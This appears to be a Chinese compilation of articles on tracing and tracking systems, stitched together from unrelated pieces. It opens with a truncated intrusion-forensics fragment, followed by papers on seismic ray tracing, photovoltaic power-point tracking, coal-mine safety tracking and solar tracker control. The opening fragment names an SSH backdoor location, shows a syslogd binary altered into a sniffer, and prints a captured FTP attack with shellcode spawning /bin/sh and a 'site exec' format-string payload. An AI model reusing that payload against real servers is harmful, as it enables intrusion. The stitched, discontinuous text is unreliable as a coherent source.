/usr/info/.clib存放着一个ssh后门，这样机器启动后都会为hack开放方便之门.

[root@ns.fsdc]#strings/sbin/syslogd

============================================================

Time:%sSize:%d

Path:%s

=>%s[%d]

------------------------------------------------------------

Exiting...

cantgetSOCK_PACKETsocket

cantgetflags

cantsetpromiscuousmode

/dev/null

eth0

system

cantopenlog

这位hack改动了syslogd文件，变成了一个sniffer

，

。。。。。。。。。

接下来就是还原系统了，修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的

[root@nsman]#moresystem2

============================================================

Time:FriFeb217:26:07Size:1056

Path:210.217.237.75=>ns.xxx.cn[21]

------------------------------------------------------------

##g#>4h#>4hUSERftp

#>hPASS111F11CA?k^11^Ff1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11

#>h<#?hsiteexecxx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.

f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f

%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%

.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.

f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f

%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p

#@@h

============================================================

Time:SatFeb306:01:39Size:44

系统追踪 篇6

关键词：射线追踪；线性走时插值；向后追踪方法；计算效率；初至波射线追踪

中图分类号：P631 文献标识码：A

文章编号：1674-2974（2016）05-0106-07

Abstract：The backward tracing method of the shortest path ray tracing algorithm with dynamic networks can solve the unstability problem in the backward tracing procedure of the LTI （Linear Travel-time Interpolation） algorithm， but the computational efficiency of the method is low. This study presented an improved method on backward tracing. According to the location information of the secondary sources for the nodes and the law of wave propagation， a large number of redundancy calculation are excluded in the backward tracing of the dynamic networks tracing algorithm. The numerical examples show that the improved method exhibits the higher computational efficiency. The calculation efficiency of the improved method is several times that of the backward tracing method of the dynamic networks tracing algorithm. When the improved method is applied to the improved algorithm of the shortest path ray tracing with dynamic networks， the computational efficiency of the algorithm can be increased by about 100 %.

Key words：ray tracing； linear traveltime interpolation； improved algorithm； backward tracing； computational efficiency；first arrival ray tracing

射线追踪技术在地震层析成像以及混凝土超声波射线层析成像等领域具有重要作用.目前常用射线追踪方法主要有两点射线追踪算法（包括试射法以及弯曲法）[[1-3]、有限差分解程函方程法[[4-6]、最短路径法[[7-10]以及LTI（Linear Travel-time Interpolation）射线追踪算法[[11-22]等.其中，LTI射线追踪算法因其计算精度较高、计算速度较快且适用于任意复杂的速度介质模型，在地震层析成像等领域得到了广泛应用.但是LTI原算法[[11]存在两个问题：在向前计算节点最小走时时，不能正确追踪逆向传播的射线，相关节点不能得到正确的最小走时[[16-22]；在向后追踪接收点射线路径时，存在不能正确追踪接收点射线路径的可能，算法的稳定性存在不足.

文献[17-18]将波前扩展方式与LTI算法基本方程相结合，提出了动态网络最短路径射线追踪算法，该算法在向前计算各节点的最小走时时，从震源点开始，采用波前扩展的方式逐点计算各个节点上的最小走时，改变了LTI原算法的计算方式，确保各节点能得到最小走时；在向后追踪接收点射线路径时，基于互换原理考虑了接收点所有可能的射线路径，确保算法能正确追踪接收点的射线路径.

动态网络最短路径射线追踪算法虽然能够解决LTI原算法存在的两个问题，但是其计算效率偏低.文献[22]基于波的传播规律提出了动态网络最短路径射线追踪改进算法，改进并提高了动态网络最短路径射线追踪算法向前计算节点最小走时这一步骤的计算效率，但是，该改进方法的向后追踪方法仍然采用动态网络最短路径射线追踪算法中的方法，计算效率依然偏低.

针对动态网络最短路径射线追踪算法中的向后追踪方法存在计算效率低的问题，本文提出了改进方法.首先，在向前计算节点最小走时这一步骤中，不仅计算各节点的最小走时，而且还记录各节点次级源的位置；然后，在向后追踪接收点的射线路径时，利用各节点次级源的位置信息以及波的传播规律对算法进行改进，降低算法的计算量，提高算法的计算效率.

1 LTI算法基本方程的推导及接收点

文献[8]给出了最短路径射线追踪算法中次级源的确定方法，考虑到LTI算法中的射线可通过单元边界上任意点进行传播，这与最短路径射线追踪算法中射线只能通过节点进行传播不同，因此最短路径射线追踪算法中次级源的确定方法不完全适合LTI算法.为了更好地描述本文提出的改进方法，将LTI算法中次级源的确定方法规定如下：通过接收点所在单元各节段（不包括接收点所在节段）可得到多个接收点走时，其中走时最小值对应的点即为接收点的次级源，如果走时最小值对应多个点，取距离接收点最近的点作为接收点的次级源.如图1所示，若接收点C通过AB节段D点得到的走时小于通过单元其它节段得到的走时，那么D点即为接收点C的次级源.

2 LTI原始算法向后追踪过程存在的问题及动态网络最短路径射线追踪算法存在的不足及改进

LTI原始算法在向后追踪接收点射线路径时，首先逐点计算接收点所在单元中各节点走时与节点至接收点的走时之和，然后选出最小的走时之和以及相应的节点，最后将单元中包含该节点的节段作为接收点次级源的可能区域[[11].事实上，接收点的次级源并不一定在这些节段中.此外，LTI原算法在确定接收点次级源的可能区域时，并未排除接收点所在的节段，算法可能会陷入无限循环.因为通过接收点所在节段线性插值得到的接收点走时，可能比通过单元其它节段得到的走时更小，那么接收点取最小走时对应的点可能为接收点本身，算法可能会进入无限循环.

以图2所示模型为例，模型尺寸为3 m×3 m，单元大小为1 m×1 m，单元边界划分为2个节段，模型上层、中层以及下层单元的速度分别为525 m/s，515 m/s和505 m/s，震源S的x，y坐标分别为1.5和3.0，接收点R的x，y坐标分别为2.05和0；图中虚线为采用LTI原始算法中的向后追踪方法得到的射线路径，需要说明的是，计算这条射线路径时，已经排除了接收点的次级源位于接收点所在节段的情况，实线为根据动态网络最短路径射线追踪算法中的向后追踪方法[[17-18]得到的射线路径.

从图2可以看出，在III号单元中，两种方法的计算结果一样，接收点R的次级源均为R1.在II号单元中，对于LTI原始算法的向后追踪方法，首先须确定II号单元中节点走时与节点至接收点R1走时之和最小的节点，经计算确定为d节点，然后确定cd或de节段为接收点R1次级源的可能区域；对于动态网络最短路径射线追踪算法中的向后追踪方法，接收点R1次级源所在区域为ef节段.计算结果表明：通过ef节段计算得到的R1点的走时（T=0.005 416 05 s）要小于通过cd或de节段的走时（T=0.005 422 57 s），接收点R1的次级源不在cd或de节段内.造成这一问题的根源在于：LTI算法假定射线路径可以经过单元边界的任意一点，在向后追踪过程中必须考虑所有可能的射线路径，并根据费马原理选择走时最短的那条路径[[11]，而LTI原始算法的具体追踪方法却没有考虑接收点所在单元所有节段的射线，而是采用了一种“简化”方法确定接收点射线路径或次级源的可能区域，由图2所示模型可以看出，这种“简化”方法存在不足.

此外，在确定接收点次级源时，若不排除接收点所在的节段，那么在计算新接收点R1的次级源时，由于通过节段cd插值得到的走时，比通过ed节段得到的走时小，计算得到的“次级源”为R1本身，程序将陷入无限循环.

动态网络最短路径射线追踪算法中基于互换原理提出的向后追踪方法[[17-18]，考虑了来自接收点所在单元中除接收点所在节段外所有节段的射线，确保了接收点能得到其次级源.但是，该方法计算量大，计算效率低.为了解决这一问题，本文首先在向前计算节点最小走时的步骤中，建立了一个数组，专门用于记录节点次级源的位置信息.然后利用各节点次级源的位置信息以及波的传播规律对动态网络最短路径射线追踪算法中的向后追踪方法进行改进.现以图3所示模型为例，对该向后追踪方法的基本步骤及计算策略进行说明，同时对向后追踪改进方法进行阐述，改进前后的向后追踪方法及计算策略分别如图3和图4所示.具体步骤和分析如下：

1）首先将接收点分为以下3种情况，然后对不同的情况采用不同的策略求解接收点的次级源：

①接收点位于单元内部，如图3（a）及图4（a）所示的R点.此时利用LTI算法的相关公式计算接收点所在单元各节段至接收点的走时，然后从中选出走时最小值对应的点，如图3（b）及图4（b）中的R1点，这个点就是接收点的次级源.

②接收点位于单元边界上，但是非单元边界上的节点.如图3（b），（d）中的R1和R3点，此时除接收点所在的节段外，单元中的其它节段均要计算从该节段至接收点的最小走时，然后从中选出走时最小值对应的点，如图3（c），（e）中的R2和S点.

事实上，对于接收点位于单元边界但非单元节点的情况，除非该接收点为原始接收点（图3和图4中的R），否则并不需要对接收点进行全方位的计算.可以采取如下两个步骤确定接收点次级源的可能区域.

首先，利用接收点所在节段端点的次级源位置信息确定两个定位点.定位点的确定方法为：若节点端点的次级源不在单元内，或者次级源在单元内但与节点端点处于同一边界，则定位点为节段端点本身，其它情况定位点为节点端点的次级源.如图4（b）所示，接收点R1所在节段的端点为A1和A2，易知接收点R1的次级源位于单元I中，现以端点A1的次级源位置信息为例说明定位点的确定方法，若A1的次级源不在单元I中，比如A1的次级源为单元II中的b点，则由A1的次级源位置信息确定的定位点为A1本身；若A1的次级源与A1处于同一边界，比如次级源位于A1A4或者A1A6边界，则定位点为A1本身；对于其它情况，比如A1的次级源为单元I中的c点，则定位点为A1的次级源c.在图4（b）中，假定A1节点的次级源为A3节点，A2节点的次级源为a1点，则由A1，A2节点的次级源位置信息可以确定两个定位点，分别为A1节点本身以及点a1.

然后沿着单元边界连接两个定位点，其中不包含接收点的那条路径即为接收点次级源的可能区域.如图4（b）所示，沿单元边界连接定位点A1和a1可以得到两条路径：A1A3A4a1和A1A6A7a1，其中路径A1A3A4a1不包含接收点R1，因此确定该路径为接收点次级源的可能区域.

得到次级源的可能区域后，再确定这个区域内的节段，图4（b）中可能区域A1A3A4a1内的节段为A1A3，A3A4，A4A5，计算从这些节段至接收点的最小走时，其中走时最小的点即为接收点的次级源，如图4（c）中的R2.

同理得到图4（d）中R3点的次级源S.

③接收点位于单元边界上，且为单元边界上的节点.如图3（c）中的R2节点，此时需要在R2节点所处的几个单元中执行情况②的计算，如图3（c）.

显然，由于在向前计算节点最小走时的过程中，已经记录了各节点的次级源，因此，在改进方法中，可以直接得到接收点的次级源，如图4（c）.

2）以步骤1）中获得的次级源为新的接收点，重复步骤1），直至新的接收点为震源.

3）依次连接各接收点得到R点的初至波射线路径，如图3（e）和图4（e）所示.

对比图3与图4可以看出，改进后的向后追踪方法计算量明显减少.

3 数值算例

为了对比改进前后向后追踪方法的计算效率，建立了尺寸为2 500 m×600 m的二维模型，如图5所示，其中x值在500～2 000 m之间且y值在200～400 m之间的区域为低速区，速度为500 m/s，其余速度均为4 000 m/s，震源S位于模型上表面的正中间（1 250，0），单元尺寸为5 m×5 m，单元边界划分段数为4，10，20等3种情况，模型下表面的每个单元布置一个接收点，共500个，部分接收点的射线路径如图6所示，分别记录两种向后追踪方法追踪所有接收点的射线路径所耗费的总时间.此外，为了说明向后追踪方法计算效率的提高对整个算法的影响，将改进后的向后追踪方法应用于动态网络最短路径射线追踪改进算法[[22]，然后比较应用改进方法前后动态网络最短路径射线追踪改进算法的总耗时（不包括算法的前处理过程）.计算机CPU主频为3.4 GHz，计算结果如表1所示.

由表1可知，向后追踪改进方法的计算效率较高，是改进前向后追踪方法的几倍至几十倍.并且能将动态网络最短路径射线追踪改进算法的计算效率提高1倍左右.

为验证向后追踪改进方法对复杂模型的有效性，采用向后追踪改进方法对Marmousi速度模型进行射线追踪，其中节点最小走时的计算采用的是动态网络最短路径射线追踪改进算法.模型尺寸为9 192 m×2 904 m，震源S位于模型左上角（0，0），单元尺寸为24 m×24 m，单元边界划分为10段，共设置5个接收点R1～R5，分别位于模型上表面的3 600，4 800 m，6 000 m，7 200 m和8 400 m，射线追踪结果如图7（a）所示，作为对照，本文给出了单元边界划分为30段时最短路径法的射线追踪结果，如图7（b）所示.两种算法下，各接收点根据射线追

踪结果计算的走时如表2所示.计算结果表明，向后追踪改进方法对于复杂的速度模型同样有效.

4 结 论

针对LTI原算法中向后追踪方法存在的无限循环以及可能不能得到正确射线路径的问题，动态网络最短路径射线追踪算法中基于互换原理提出的向后追踪方法能够予以有效的解决.但是该算法存在较多的无效计算.本文根据模型中节点次级源的位置信息以及波的传播规律，提出了改进的向后追踪方法.数值结果表明，改进后的向后追踪方法，其计算效率较之改进前的方法有较大程度的提高；此外，本文提出的向后追踪改进方法能将动态网络最短路径射线追踪改进算法的计算效率提高1倍左右.

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光伏并网系统最大功率追踪控制 篇7

针对光伏最大功率追踪的研究,文献[4]提出一种改进的自适应占空比扰动法,保证光伏快速、稳定、准确地跟踪上最大功率点;文献[5]采用自适应滑模观测器,实现光伏电池实时、精确追踪功率最优电压点;文献[6]针对不同光照强度、不同负载及内部参数变化对光伏输出特性进行了研究,得出光伏输出功率特性呈非线性且功率最优点只有一个;文献[7]基于滑模控制技术实现功率最大点的实时跟踪,采用交错Boost结构减小功率输出波纹;文献[8]基于Newton-Raphson算法提出一种dq轴解耦与网侧逆变器相结合的控制方法,并研发一台模拟光伏并网采样机。本文在PSCAD/EMTDC仿真软件中搭建了光伏并网系统模型,基于电压扰动法实现光伏最优功率点准确追踪,并通过仿真结果验证了光伏并网系统模型及控制策略的有效性。

1 光伏阵列建模及分析

光伏阵列温度为

式中:Tc为光伏阵列温度;Ta为环境温度;G为太阳照射强度。

光伏阵列V-I方程为[9]

其中

式中:Um和Im分别为最大功率点对应电压和电流;Uoc和Ipvsc分别为开路电压和短路电流;a与b分别为给定辐射强度下的电流温度变化系数和电压温度变化系数;Np与Ns分别为光伏阵列中组件的并联数和串联数;tc为温度变化系数;Rs为组件的串联电阻。

光伏阵列输出功率为

式中:P光伏阵列输出功率,Kl为光伏组件串并联损耗系数。

基于不同太阳光照强度,光伏阵列I-V和P-V特性曲线如图1所示。由图1可知:I-V曲线在最大功率点附近是高度非线性的,并且短路电流与太阳光照强度呈显著正相关,开路电压并无明显变化;P-V曲线表明,随着太阳辐射强度的增大光伏输出功率相应增加,故光伏阵列输出最大功率跟踪可通过扰动光伏阵列端电压来实现。

为了适应太阳辐射强度的快速变化,本文提出基于功率变化率改进电压扰动法,进行最大功率点跟踪(Maximum Power Point Tracking,MPPT)。改进电压扰动法算法流程如图2所示。

结合本次测量的电压V(k)与电流I(k)和上次测量记录的电压V(k-1)和电流I(k-1),计算可得到功率变化率d P。如果d P<ε1,则认为功率输出不变,无需电压扰动;否则,再进行判断d P是否大于功率变化率最大值ε2,若是,则对d P进行修正,然后按变步长的功率变化率进行电压扰动。

2 光伏并网发电系统控制策略

光伏并网发电协调控制如图3所示。光伏并网发电系统可分为两个联系密切的子系统:光伏控制系统与并网逆变控制系统。光伏控制系统中:UPV和UPVm分别为光伏控制系统中端电压和最大功率点对应的端电压;IPV和DPV分别为光伏控制系统中电感电流与DC-DC变流器的控制信号。并网控制系统中:md和mq分别为并网系统中dq轴坐标下d轴控制信号和q轴控制信号;Id和Id ref分别为d轴电流矢量的实际值与参考值;Iq和Iq ref为q轴电流矢量的实际值与参考值;Udc和Udcref分别为直流电压的实际值与参考值;Ud分别为网侧电压在d轴分量;L为dq轴滤波电感;W为电气角速度;Qref为并网控制系统无功功率参考值;La、Lb、Lc,Ia、Ib、Ic和Ua、Ub、Uc分别为网侧abc三相交流系统中电感、电流和电压;S1-S6为网侧变流器IGBT脉冲信号。

PV单元中:通过改进的电导增量法锁定最大功率点电压参考值UPVm,UPV与UPVm采用电压外环控制,快速稳定实现光伏最大功率的输出。DC/AC并网单元中:应用锁相环(Phase Locked Loops,PLL)测量技术,保证同步旋转参考坐标系d轴与电压矢量方向重合,于是有ud=U,uq=0,实现dq轴解耦控制。d轴采用双环控制确保直流母线电压平稳,其中Udc和Udcref作为电压外环,Id和Id ref作为电流内环。q轴采用电流内环控制,快速稳定追踪上无功功率参考Qref(根据实际运行情况设定,一般设为0)。

光伏并网发电系统的协调控制策略,保证了上网功率最优利用了光能(即实现了光伏的MPPT控制),稳定了直流母线电压,平滑了上网功率,保证了系统的电能品质。

3 算例分析

基于PSCAD/EMTDC仿真平台建立额定容量为0.5 MW的光伏系统仿真模型,光伏发电系统参数设置如表1所示。

太阳辐射强度初始值为800 W/m2,最优输出功率约为24.5 k W,仿真运行到4 s时,太阳辐射强度跃升到1000 W/m2,最优输出功率约为49.5 k W。具体变化情况如图4所示。

由图4分析可知,当太阳辐射强度发生阶跃性变化时,功率控制器的有功、无功功率实际值跟踪其参考值的速度较快约10 ms,无稳态跟踪误差,鲁棒性较好。

光照强度发生阶跃变化时,光伏出力、端电压及电感电流跟踪情况如图5所示。

由图5分析可知,4 s时,光照强度发生阶跃性变化,光伏出力、端电压及电感电流实际值快速稳定地跟踪上了参考值,且三者趋势一致,验证了光伏最大功率追踪控制策略的有效性。

4 s时光照强度发生阶跃变化时,直流母线电压动态响应情况如图6所示。

由图6可知,光照强度发生阶跃性变化时,直流母线电压几乎无波动,跟踪速度快,鲁棒性较强。

基于光伏控制单元和并网逆变器控制单元的网侧有功功率和无功功率输出情况如图7所示。

由图7可知:注入电网的功率与光伏最优输出功率一致,0~4 s上网功率约为24.5 k W,4~8 s上网功率约为49.5 k W;网侧无功功率的实际值与参考值一致,为0 kvar。dq轴电流的变化跟踪趋势与有功功率和无功功率变化趋势相同,且有功功率、无功功率、dq轴电流的实际值跟踪参考值速度较快,无稳态误差,鲁棒性较强。

4 结语

本文建立了光伏数学模型,基于在光伏运行最优点I-V处于高度非线性,提出了一种改进的电压扰动法,保证光伏稳定且迅速追踪上最优点;采用电压扰动法与网侧功率外环电流内环双环控制实现了最优功率注入电网;PSCAD/EMTDC中的仿真结果验证了本文提出的光伏并网系统控制方法的有效性。

参考文献

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煤矿安全动态追踪与评价系统研究 篇8

关键词：安全追踪与评价系统,安全信息,安全管理,安全检查

煤矿在我国的国民经济中具有重要地位, 煤矿安全是煤矿健康、可持续发展的关键问题, 也是目前急需解决的难题之一。要预防煤矿事故的发生, 各级安全管理部门必须及时收集安全信息, 评价安全现状, 以便针对实际情况迅速采取措施。基于此点, 煤矿安全管理者和安全科研工作者在煤矿安全管理和安全预警方面做了大量的研究工作, 对强化煤矿安全管理有重要作用。但也仅限于管理模式和方法的探讨, 尚未从根本上解决实际问题。由于煤矿安全状况的复杂性、模糊性、不确定性、突发性, 决定了采用传统的安全管理方法难以适应新形势的需要, 必须研制开发安全数据库、专家系统, 分析灾害事故原因, 建立灾害事故数据库, 预测事故发生的可能性;将计算机应用于灾害事故智能决策系统, 构建企业安全信息网络, 及时监控安全隐患[1]。

建立煤矿安全动态追踪与评价系统, 可通过完整地收集安全信息, 对其进行筛选归类, 确认责任部门或人员并进行安全评价, 从而及时采取安全对策, 提高煤矿生产的效率和安全性。该系统可以根据实际安全管理需要在煤矿内构建, 也可独立在生产工作面实现, 为各层次的安全管理搭建良好的信息平台。

1 系统总体结构

煤矿安全追踪与评价系统总体结构主要由数据采集子系统、数据处理子系统、安全评价子系统、动态输出子系统组成, 见图1。

数据采集子系统的核心任务是全面收集安全信息。通过安全环境监测、生产安全通讯等采集线路设备及区域气象等相关数据的同时, 依靠各级安全管理部门的动态安全检查及各种违章、事故通报等, 全面采集安全信息。数据处理子系统对数据及时处理, 获取安全信息并向管理人员进行提示。管理人员对各类安全信息进行辨别和确认后, 将安全信息输入到安全评价子系统, 该子系统在对安全信息进行筛选归类的基础上, 把相关安全信息归集到相应的责任部门 (单位) , 同时对其定性定责, 并根据确定的评价方法对各部门 (单位) 的安全状况进行科学评价, 在此基础上, 实现安全信息的及时发布、评价结果的动态输出和安全预警。相关部门即可根据安全责任, 及时主动地采取相应措施, 消除隐患。

2 系统功能

煤矿安全动态追踪与评价系统的功能主要包括:安全信息收集、分层次分部门安全状况评价、安全信息发布及安全预警等。

2.1 安全信息收集

安全信息收集是煤矿安全动态追踪与评价系统的基础。充分利用现有安全信息的收集与反馈手段, 整合多种途径, 全面收集安全信息并进行合理利用和反馈, 对避免事故的发生具有重要作用。

安全信息收集的实现是通过电子安全环境监测、生产安全通讯等仪器监测, 以及各级安全管理部门 (或监察人员) 对相关单位 (或工作面) 的动态检查, 同时辅以历史数据, 由管理人员或计算机再对数据进行处理而获得的。

2.2 安全状况评价

在安全信息确认后, 需要对其定性定责。传统的做法是根据经验利用规章制度来召开“分析会”或建立相应的“问题库”等台帐, 并要求相关责任部门及时整改。这种做法在一定程度上缺乏灵活性和针对性, 其科学性和效率不高, 容易造成形式主义, 并耗费大量人力物力。实现对安全信息的分层次分类别安全评价功能, 可以自动追踪安全信息的处理情况, 显著提高安全管理的科学性和合理性, 杜绝“形式主义”和“好人主义”。

分层次分部门的安全状况评价功能具体包括以下内容:

1) 安全信息分层次分部门归集。依据安全责任, 将安全信息归集到最低层次的部门, 从而实现较高部门的责任安全信息累加。

2) 安全信息定性归集。对定责的安全信息在分层次分部门归集的基础上, 依据安全信息的属性, 划分为设备保养、管理制度及规范、安全意识及教育、业务素质及应急能力等不同类别, 从而为更好地采取对策提供信息保证。

3) 各部门 (单位) 安全现状评价。随着安全信息的更新, 并根据确定的安全评价方法, 及时、自动实现对各部门安全现状的评价。

2.3 动态输出

矿长、生产矿长、安监处长等主要安全管理人员在网上查询、分析近期安全状况后, 可以通过局域网快速地发布安全指令信息[2]。安全评价结果随同安全信息同步更新。动态输出的项目主要包括:安全信息发布、各部门 (单位) 安全现状评价结果、安全预警等。

在动态输出过程中, 安全信息发布可分层次分部门进行, 并要求责任部门和人员及时响应安全评价及预警的输出, 更需要相应考核机制的建立, 以协调各层次的安全管理工作。

3 系统实现

3.1 安全信息采集系统建设

安全信息采集系统是煤矿安全动态追踪与评价系统的重要基础。目前, 各矿区乃至各工作面的安全信息采集模式均有较大差别, 还没有形成完善的安全信息采集系统, 所采集信息的种类、覆盖范围也不能很好地满足安全管理的需要, 而且对所采集的安全信息也未能进行有效地管理和利用。因此, 需要对安全信息采集系统进行合理地规划设计, 确定信息采集点发布、采集信息种类等。

3.2 安全状况评价系统

安全状况评价是根据所确认的安全信息, 通过分层次分部门的归集, 并按属性定性后, 按照科学的评价方法实现各部门 (单位) 的安全状况评价。安全状况评价系统的核心是安全信息的归集及评价方法的确立。

3.3 动态输出系统

动态输出系统及时自动更新, 按照安全管理需要, 以发布安全信息、报告各部门 (单位) 的安全现状评价结果、进行安全预警为中心。

4 结语

建立煤矿安全追踪与评价系统, 充分利用电子信息和网络通信手段加强安全管理的可靠性和科学性, 可以实现安全信息的及时响应和评价, 并为领导决策的科学化提供可靠的技术支持。从长远看, 该系统可以融入我国的智能矿山系统, 并为我国智能矿山的建立和完善奠定基础。

参考文献

[1]孙斌, 王立杰.构建煤矿生产安全管理体系的建议[J].中国煤炭, 2006 (3) :63-65.

小型太阳能自动追踪系统研制 篇9

1 太阳能跟踪系统

现阶段所设计的太阳能追踪系统尚有缺陷, 从而不能保证太阳光的垂直照射, 因此也不能收集到充分的太阳光能, 导致发电效率低下。目前, 全球追踪太阳的方法大体分为两类, 即开环的程控系统“视日运动轨迹追踪法”和闭环的随机系统“光电追踪法”。

太阳光线跟踪方式最常见的就是视日运行轨迹跟踪法。视日运动轨迹系统分为单轴和双轴两种方式。

(1) 单轴跟踪方式的系统结构简单, 易实现, 但系统不能始终保持主光轴与太阳光线入射角度平行, 因此单轴跟踪系统对太阳能的收集效率不高[2]。

(2) 双轴跟踪有极轴式全跟踪和高度角-方位角式全跟踪两种方式。极轴式全跟踪方法简单, 但其支承装置不易设计、不易实现, 因此此种追踪方式并不理想。高度角-方位角式太阳跟踪系统较为简单, 支承装置容易实现且跟踪精度高, 图1所示为其跟踪原理。

如图1所示, θ为太阳光入射角, ω为太阳时角, δ为太阳赤纬角, γ为集热器方位角, β为集热器倾角, φ为实验地区的纬度。太阳光入射角θ可以通过公式 (1) 得到:

通过公式 (2) 可以计算出第天的太阳赤纬角:

无论是哪种方式, 在设计方面都需要在遮光板附近安装光电管, 追踪太阳光需要调整遮光板的位置。遮光板的阴影部分会随着太阳光线的逐渐减弱而发生移动, 光敏电阻受到光照时会输出微电流, 此电流信号需经过放大电路放大, 才能传送至单片机进行处理, 从而调整角度使跟踪设备对准太阳光心。

2 跟踪系统硬件设计部分

使用STC89C52单片机为控制核心, 运用光敏电阻采集光线, 用运放LM741对采集的光线做进行处理并将最终数据传输给单片机, 单片机进一步处理并将处理数据传输给电机驱动系统, 控制两路电机进行调节电池板的水平方位及垂直高度的调整。本设计寻光系统采用单片机作为主控芯片, 光敏和运放LM741组成光信号采集模块。系统结构框图3所示。

单片机控制系统通过光电检测电路对具体天气情况作出判断。系统根据太阳光照射强度判断是否为晴天, 晴天时进行光电追踪法, 阴天时使用角度追踪法。单片机根据这些信息的处理发出控制信号, 传送至驱动电路, 进而驱动步进电机的转动, 从而带动太阳光接收装置转动, 实现太阳光的实时追踪[3]。

步进电机不能直接由单片机驱动, 必须连接驱动电路, 其控制原理是电机驱动器接收驱动电路中的放大控制器发出的脉冲信号后, 发出控制信号驱动电机按着一定的角度和速度旋转。电机的位移量取决于控制器发出的脉冲个数, 电机旋转的速度和加速度取决于脉冲频率, 因此只要控制脉冲, 便可控制步进电机的相应操作。

本系统采用串行控制方式对步进电机进行控制。用一条发送时钟脉冲串的控制线和一条发送方向电平信息的控制线将步进电机驱动器与控制器连接起来, 便可实现对电机的控制。如图4所示为步进电机电路原理图。

控制器发出脉冲和方向电平信息, 驱动部分的环形分配器接收来自控制器的信息并对步进电机的1相励磁、2相励磁、1—2相励磁进行交替使用, 功率放大器将环形分配器输出的电流放大, 驱动步进电机运转。时钟脉冲控制线控制步进电机的转速, 方向电平控制线控制步进电机的转向和转角, 方向电平为高电平1时, 步进电机按着环形分配器反向分配的脉冲信号反向转动;否则正向转动。

3 追踪系统软件设计

太阳能自动追踪系统软件设计部分有主程序模块、步进电机驱动模块。运行程序, 系统判断跟踪机构是否处于起始位置 (水平角的电机1旋转到正东方, 高度角电机2旋转到太阳能电池板水平方位) , 若不在起始位置, 跟踪机构自动返回起始位置;若在起始位置, 系统判断当前天气是否是晴天, 如果是晴天, 系统进入视日运行轨迹跟踪法开始追踪阳光;如果是阴天, 系统进入光电追踪方式, 并进入延时阶段, 间隔30分钟, 系统再次对当前天气进行判断, 若是晴天, 则返回视日运行轨迹跟踪子程序, 若是阴天, 则返回光电检测跟踪子程序, 如此, 系统进入循环状态。系统完成一次跟踪后进入延时时间, 30分钟后, 延时结束, 系统对当前天气再进行判断, 系统流程图如图4所示。

4 结语

本文设计的太阳能自动追踪系统, 采用STC89C52单片机为控制核心, 通过5个环形分布的光敏电阻构成的比较电路可以对具体天气情况进行判断, 根据具体天气情况系统自动选择追踪阳光的方式, 结合两种追踪方式, 具有高效率、低误差的优点, 加上软件设计, 使得整个系统紧密配合, 完善系统的监控程序, 从而达到精确地对太阳的方位角和高度角进行实时快速准确跟踪的目的。

参考文献

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[2]郑小年, 黄巧燕.太阳跟踪方法及应用[J].能源技术, 2003 (4) :149-151.

高精度太阳追踪系统研究与实现 篇10

太阳能是取之不尽、用之不竭的绿色能源,近年来在发电、照明等行业已被广泛应用,尤其在电力、烟草、文教等领域。其中,太阳追踪系统是太阳能应用中的重要组件。但传统的追踪系统一般适用于1 000倍以下的聚光系统,而在自然光导入照明的新兴领域,往往需要2 000倍以上的聚光倍数,现在的追踪系统在精度等方面难以满足要求。因此,实现高精度的太阳自动追踪显得尤其重要。

当前关于太阳自动追踪主要有两种方法:一是基于太阳的运动轨迹追踪,二是基于光学传感器的追踪。本文针对以上两种方法的缺陷,将天文算法、GPS与基于小孔的PSD传感器相结合,利用加速度传感器和双轴步进电机实时调整追踪姿态[1],实现了对太阳的高精度自动追踪。

1 系统设计

1.1 光学要求及设计

本文选取太阳光光纤照明应用设计追踪系统。该类系统的聚光比达到2 000倍以上,远远高于其他聚光应用的倍数(比如太阳光聚光发电的500~1 000倍),对于精度的要求要远远高于传统的系统要求。

因此,首先需要根据实际应用的光学系统计算出追踪系统所需要达到的精度要求。图1是光学系统的光学结构图。假设太阳光是平行光,经过菲涅尔透镜后聚焦到光纤表面,其聚焦倍数达到2 400倍。图2表示了当入射角度偏离菲涅尔透镜的光学主轴后,光纤所采集的能量损失情况。由图可见,当偏离角度达到0.05°时,能量损失约为10%,达到0.1°时,能量损失将达到约25%,为了尽可能提高太阳光的收集效率,并且尽可能降低追踪频率带来的功耗,综合取优后选取±0.05°作为本系统的设计精度。考虑到太阳平均每240 s将产生大约1°的角度偏转,所以将追踪频率设定在12 s。

1.2 PSD传感器设计

1.2.1 PSD传感器

本系统用的二维PSD位置传感器具有很高的精度和灵敏度,分辨率达到1μm,即1μm的光照点位移即可感知。系统采用的金属屏蔽罩长度为80 mm,式(1)中a表示位移分辨率:

可以算出,位移分辨率为1μm情况下,太阳偏移角度分辨率约为0.001°。本系统选取0.05°作为更新误差阈值,其对应的位移约为44μm,则传感器完全可以满足该精度。PSD传感器为4路信号输出,传感器套在具有小孔的长方体金属屏蔽罩里[2]。其结构示意图如图3所示。

1.2.2 PSD信号处理电路板

PSD传感器的信号处理电路板如图4所示。电路中,PSD传感器输入的电流信号(PSD0~PSD3)接运放的反向输入端,并通过运放转换成输出的电压信号(AD0~AD3),直接接入控制芯片的AD引脚。

1.3控制电路设计

本控制电路总体结构如图5所示。主控芯片采用TI公司的DSP芯片,其通过串口接收GPS模块传来的数据,通过AD口读取PSD传感器检测到的太阳光信号,对这些数据信号进行处理和分析后控制步进电机的转动,并用加速度传感器不断调整转向和姿态,同时将当前转向和姿态的数据定时写入E2PROM[3]。

2 控制及算法

2.1 控制程序组成

